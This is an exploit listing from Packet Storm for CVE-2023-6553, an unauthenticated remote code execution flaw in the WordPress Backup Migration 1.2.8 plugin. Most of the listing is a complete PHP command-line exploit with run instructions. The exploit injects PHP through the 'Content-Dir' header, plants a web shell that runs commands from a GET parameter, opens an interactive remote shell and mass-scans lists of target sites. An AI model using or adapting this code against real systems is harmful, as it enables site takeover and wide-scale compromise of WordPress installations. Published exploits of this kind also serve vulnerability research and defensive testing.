PACKETSTORM 9.8 CRITICAL

📄 WordPress Backup Migration 1.2.8 Remote Code Execution_PACKETSTORM:211997

November 25, 2025 invoker category_exploit
9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

WordPress Backup Migration plugin version 1.2.8 proof of concept code injection exploit for an older vulnerability from 2023...
Visit Original Source

Basic Information

ID PACKETSTORM:211997
Published Nov 25, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : WordPress Backup Migration 1.2.8 PHP Code Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/backup-backup/ |
=============================================================================================================================================

POC :

1. Vulnerability Overview
-------------------------
A critical Remote Code Execution vulnerability exists in the WordPress (https://packetstorm.news/files/id/207962/)
plugin "Backup Migration" (backup-backup), allowing arbitrary PHP code
execution via an unsafe header parameter inside:

/wp-content/plugins/backup-backup/includes/backup-heart.php

The plugin processes attacker-controlled content from the HTTP header
"Content-Dir" and writes it directly into PHP files inside the plugin
directory. This allows an attacker to:

• Write arbitrary PHP files
• Overwrite internal plugin files
• Deploy a persistent web shell
• Achieve full remote command execution

No authentication is required.

====================================================================

2. PHP Exploit Description
--------------------------
This exploit is a full PHP CLI conversion of the original Python version.
It performs:

• Vulnerability verification
• Payload file creation
• Arbitrary file write via hex-encoded characters
• Deployment of an interactive remote shell
• Cleanup of the temporary shell

The exploit works even when many PHP execution functions are disabled.

====================================================================

3. Usage Instructions (CLI Mode)
--------------------------------

Save the file as:

exploit.php

Then run from terminal:

php exploit.php -u https://target.com

Options:
-u <url> Test and exploit a single target
-c Check only (no shell deployment)
-f <file> Scan a list of targets (one per line)
-t <n> Number of concurrent workers (default 5)
-o <file> Save vulnerable hosts to output file
--help Show help

Examples:

• Check vulnerability only:
php exploit.php -u https://site.com -c

• Exploit and open interactive shell:
php exploit.php -u https://site.com

• Scan targets list:
php exploit.php -f targets.txt -o vulnerable.txt

====================================================================

4. Saving The PHP Code (Important)
----------------------------------
1. Copy the PHP exploit code into a file named:

exploit.php

2. Make sure PHP CLI is installed:
php -v

3. Give execution permission (Linux only):
chmod +x exploit.php

4. Run the exploit:
php exploit.php -u https://victim.com

====================================================================

5. How The Exploit Works
------------------------
Step 1: Send payload using "Content-Dir" header
Step 2: Plugin writes attacker-controlled PHP to temporary file
Step 3: Exploit writes final shell using hex-encoded bytes
Step 4: Web shell copied into plugin directory
Step 5: Interactive command execution via HTTP requests

The exploit shell uses GET parameter "?0=" to wrap command output with:

[S] output [E]

This allows clean extraction and parsing.

====================================================================

6. Full PHP Exploit Code
------------------------
<?php
/**
* CVE-2023-6553 Exploit – PHP CLI Version
* by Indoushka
*/

error_reporting(E_ALL);
ini_set('display_errors', 1);

class CVE_2023_6553 {
public $base_url;
public $temp_file_name;
public $random_file_name;

public function __construct($base_url) {
$this->base_url = rtrim($base_url, '/');
$this->temp_file_name = chr(rand(65,90)); // single random char
$this->random_file_name = substr(str_shuffle("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"),0,3) . ".php";
}

public function send_payload($payload) {
$url = $this->base_url . "/wp-content/plugins/backup-backup/includes/backup-heart.php";
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => ["Content-Dir: $payload"],
CURLOPT_TIMEOUT => 10,
CURLOPT_POST => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$res = curl_exec($ch);
$err = curl_errno($ch);
curl_close($ch);
return ($err===0);
}

public function check_vulnerability() {
$random_char = chr(rand(65,90));
$payload = "<?php fwrite(fopen('{$this->temp_file_name}','w'),'{$random_char}');?>";
$this->send_payload($payload);

$url = $this->base_url . "/wp-content/plugins/backup-backup/includes/{$this->temp_file_name}";
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$res = curl_exec($ch);
curl_close($ch);

if(trim($res) === $random_char) {
echo "[+] {$this->base_url} is vulnerable to CVE-2023-6553\n";
return true;
}
return false;
}

public function write_string_to_file($string_to_write) {
$init = "<?php fwrite(fopen('{$this->temp_file_name}','w'),'');?>";
$this->send_payload($init);

$len = strlen($string_to_write);
for($i=0;$i<$len;$i++){
$hex = bin2hex($string_to_write[$i]);
$cmd = "<?php fwrite(fopen('{$this->temp_file_name}','a'),\"\\x{$hex}\");?>";
if(!$this->send_payload($cmd)){
echo "Failed at character: {$string_to_write[$i]}\n";
return false;
}
}

$copy = "<?php copy('{$this->temp_file_name}','{$this->random_file_name}');?>";
$this->send_payload($copy);
$delete = "<?php unlink('{$this->temp_file_name}');?>";
$this->send_payload($delete);
return true;
}

public function retrieve_command_output($command) {
$url = $this->base_url . "/wp-content/plugins/backup-backup/includes/{$this->random_file_name}?0=" . urlencode($command);
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$res = curl_exec($ch);
curl_close($ch);
if(preg_match("/\\[S\\](.*?)\\[E\\]/s",$res,$m)) return $m[1];
return "No output or functions disabled.";
}

public function interactive_shell() {
echo "[+] Entering interactive shell (type 'exit' to quit)\n";
while(true){
echo "# ";
$cmd = trim(fgets(STDIN));
if($cmd === "exit") break;
echo $this->retrieve_command_output($cmd) . "\n";
}
}
}

// ---------------- CLI Handler -----------------
$options = getopt("u:f:t:o:c");
$url = $options['u'] ?? null;
$file = $options['f'] ?? null;
$threads = intval($options['t'] ?? 5);
$output = $options['o'] ?? null;
$check_only = isset($options['c']);

if($url){
$exploit = new CVE_2023_6553($url);
if($exploit->check_vulnerability()){
if(!$check_only){
$shell_code = '<?php echo "[S]";echo `$_GET[0]`;echo "[E]";?>';
if($exploit->write_string_to_file($shell_code)){
echo "[+] Shell deployed successfully!\n";
$exploit->interactive_shell();
echo "[!] Deleting shell...\n";
$exploit->send_payload("<?php unlink('{$exploit->random_file_name}');?>");
}
}
} else {
echo "[!] {$url} is not vulnerable.\n";
}
} elseif($file){
$urls = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach($urls as $u){
$exploit = new CVE_2023_6553($u);
$exploit->check_vulnerability();
if($output && $exploit->check_vulnerability()){
file_put_contents($output,$u.PHP_EOL,FILE_APPEND);
}
}
} else {
echo "Usage: php exploit.php -u <url> [-c] | -f <file> [-t threads] [-o output]\n";
}
?>


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.